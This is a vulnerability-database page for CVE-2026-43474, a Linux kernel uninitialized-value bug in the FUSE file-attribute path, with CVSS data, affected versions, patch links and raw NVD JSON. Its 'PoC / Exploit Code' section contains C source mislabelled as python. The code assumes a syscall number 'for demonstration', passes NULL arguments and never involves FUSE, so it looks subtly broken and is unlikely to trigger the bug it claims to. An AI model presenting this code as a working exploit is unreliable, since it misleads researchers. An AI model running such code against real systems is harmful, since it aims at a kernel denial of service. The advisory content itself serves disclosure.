CVE-2026-43474

Description

In the Linux kernel, the following vulnerability has been resolved: fs: init flags_valid before calling vfs_fileattr_get syzbot reported a uninit-value bug in [1]. Similar to the "*get" context where the kernel's internal file_kattr structure is initialized before calling vfs_fileattr_get(), we should use the same mechanism when using fa. [1] BUG: KMSAN: uninit-value in fuse_fileattr_get+0xeb4/0x1450 fs/fuse/ioctl.c:517 fuse_fileattr_get+0xeb4/0x1450 fs/fuse/ioctl.c:517 vfs_fileattr_get fs/file_attr.c:94 [inline] __do_sys_file_getattr fs/file_attr.c:416 [inline] Local variable fa.i created at: __do_sys_file_getattr fs/file_attr.c:380 [inline] __se_sys_file_getattr+0x8c/0xbd0 fs/file_attr.c:372

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Specific versions prior to commits 379e19e820dd, b8c182b2c8c4, cb184dd19154)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43474
 * This code attempts to trigger the uninitialized value bug in fuse_fileattr_get.
 * Note: Exact syscall arguments may vary based on kernel version.
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>

#ifndef SYS_file_getattr
// Assuming syscall number for demonstration, actual number depends on kernel
#define SYS_file_getattr 451 
#endif

int main() {
    int fd = open("/tmp/test_file", O_CREAT | O_RDWR, 0644);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    // Attempt to trigger the vulnerable path
    // The bug occurs when vfs_fileattr_get is called with uninitialized flags_valid
    long ret = syscall(SYS_file_getattr, fd, NULL);
    
    if (ret < 0) {
        perror("syscall file_getattr");
    } else {
        printf("Syscall returned, potential crash in kernel logs if vulnerable\n");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43474
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43474
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43474/
[4] VulDB https://vuldb.com/cve/CVE-2026-43474
[5] https://git.kernel.org/stable/c/379e19e820dd1c6145426b97467728b3b89c0b42
[6] https://git.kernel.org/stable/c/b8c182b2c8c44c6016b11d8af61715ad7ef958a1
[7] https://git.kernel.org/stable/c/cb184dd19154fc486fa3d9e02afe70a97e54e055

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43474", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:17:00.577", "lastModified": "2026-05-21T14:59:00.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: init flags_valid before calling vfs_fileattr_get\n\nsyzbot reported a uninit-value bug in [1].\n\nSimilar to the \"*get\" context where the kernel's internal file_kattr\nstructure is initialized before calling vfs_fileattr_get(), we should\nuse the same mechanism when using fa.\n\n[1]\nBUG: KMSAN: uninit-value in fuse_fileattr_get+0xeb4/0x1450 fs/fuse/ioctl.c:517\n fuse_fileattr_get+0xeb4/0x1450 fs/fuse/ioctl.c:517\n vfs_fileattr_get fs/file_attr.c:94 [inline]\n __do_sys_file_getattr fs/file_attr.c:416 [inline]\n\nLocal variable fa.i created at:\n __do_sys_file_getattr fs/file_attr.c:380 [inline]\n __se_sys_file_getattr+0x8c/0xbd0 fs/file_attr.c:372"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17", "versionEndExcluding": "6.18.19", "matchCriteriaId": "25416534-40E3-4D42-9162-AB375255352E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/379e19e820dd1c6145426b97467728b3b89c0b42", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b8c182b2c8c44c6016b11d8af61715ad7ef958a1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cb184dd19154fc486fa3d9e02afe70a97e54e055", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}